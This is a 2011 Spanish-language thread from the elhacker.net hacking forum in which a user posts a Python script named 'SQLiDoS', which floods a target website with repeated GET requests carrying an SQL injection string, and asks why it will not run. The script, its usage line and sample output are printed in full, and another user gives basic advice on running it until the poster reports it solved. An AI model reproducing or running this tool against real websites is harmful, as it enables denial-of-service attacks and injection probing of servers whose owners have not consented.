Foro de elhacker.net

Programación => Scripting => Mensaje iniciado por: VanX en 8 Agosto 2011, 16:22 pm



Título: No me funciona este programa de python
Publicado por: VanX en 8 Agosto 2011, 16:22 pm
Hola a todos, buscando encontre este code pero no funciona....

Cuando lo ejecuto no pasa nada en el terminal sale asi:

>

y no hace mas.... espero que me puedan ayudar ;)

Código
  1. #!/usr/bin/python
  2. # SQLiDoS - SQL Denial of Service
  3.  
  4. import socket
  5. import sys
  6.  
  7. if len(sys.argv) != 4:
  8.    print "[+] Uso: SQLiDoS.py <Target Web> <SQLi Injection> <Connection Numbers>"
  9.    sys.exit(1)
  10.  
  11. def attack():
  12. connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  13. connection.connect((sys.argv[1], 80))
  14. print "[+] GET /" + sys.argv[2] + " HTTP/1.1"
  15. connection.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
  16. connection.send("Host: " + sys.argv[1]  + "\r\n\r\n");
  17. connection.close()
  18.  
  19. Host = sys.argv[1]
  20. SQLi = sys.argv[2]
  21. CoNum = int(sys.argv[3])
  22. print "[+] Connecting to %s" % (Host)
  23. print "[+] Injecting %s" % (SQLi)
  24. for i in range(1, CoNum+1):
  25. attack()

Como ejecutarlo:
Código
  1. SQLiDoS.py www.sitioweb.com index.php?id=' 10

Funciona:
Código
  1. [+] Connecting to www.sitioweb.com
  2. [+] Injecting index.php?id='
  3. [+] GET /noticias.php?id=' HTTP/1.1
  4. [+] GET /noticias.php?id=' HTTP/1.1
  5. [+] GET /noticias.php?id=' HTTP/1.1
  6. [+] GET /noticias.php?id=' HTTP/1.1
  7. [+] GET /noticias.php?id=' HTTP/1.1
  8. [+] GET /noticias.php?id=' HTTP/1.1
  9. [+] GET /noticias.php?id=' HTTP/1.1
  10. [+] GET /noticias.php?id=' HTTP/1.1
  11. [+] GET /noticias.php?id=' HTTP/1.1
  12. [+] GET /noticias.php?id=' HTTP/1.1

Les agradezco la ayuda de antemano!

saludos


Título: Re: No me funciona este programa de python
Publicado por: Novlucker en 8 Agosto 2011, 16:37 pm
Estas abriendo la terminal de Python y debes de hacerlo desde ms-dos.

Saludos


Título: Re: No me funciona este programa de python
Publicado por: VanX en 8 Agosto 2011, 16:44 pm
Uso ubuntu y uso la terminal de este, no entiendo  :(


Título: Re: No me funciona este programa de python
Publicado por: Novlucker en 8 Agosto 2011, 20:27 pm
Pero te has movido hasta el directorio donde tienes el script y le has pasado el parametro correcto?

Saludos


Título: Re: No me funciona este programa de python
Publicado por: VanX en 9 Agosto 2011, 13:37 pm
solucionado ;)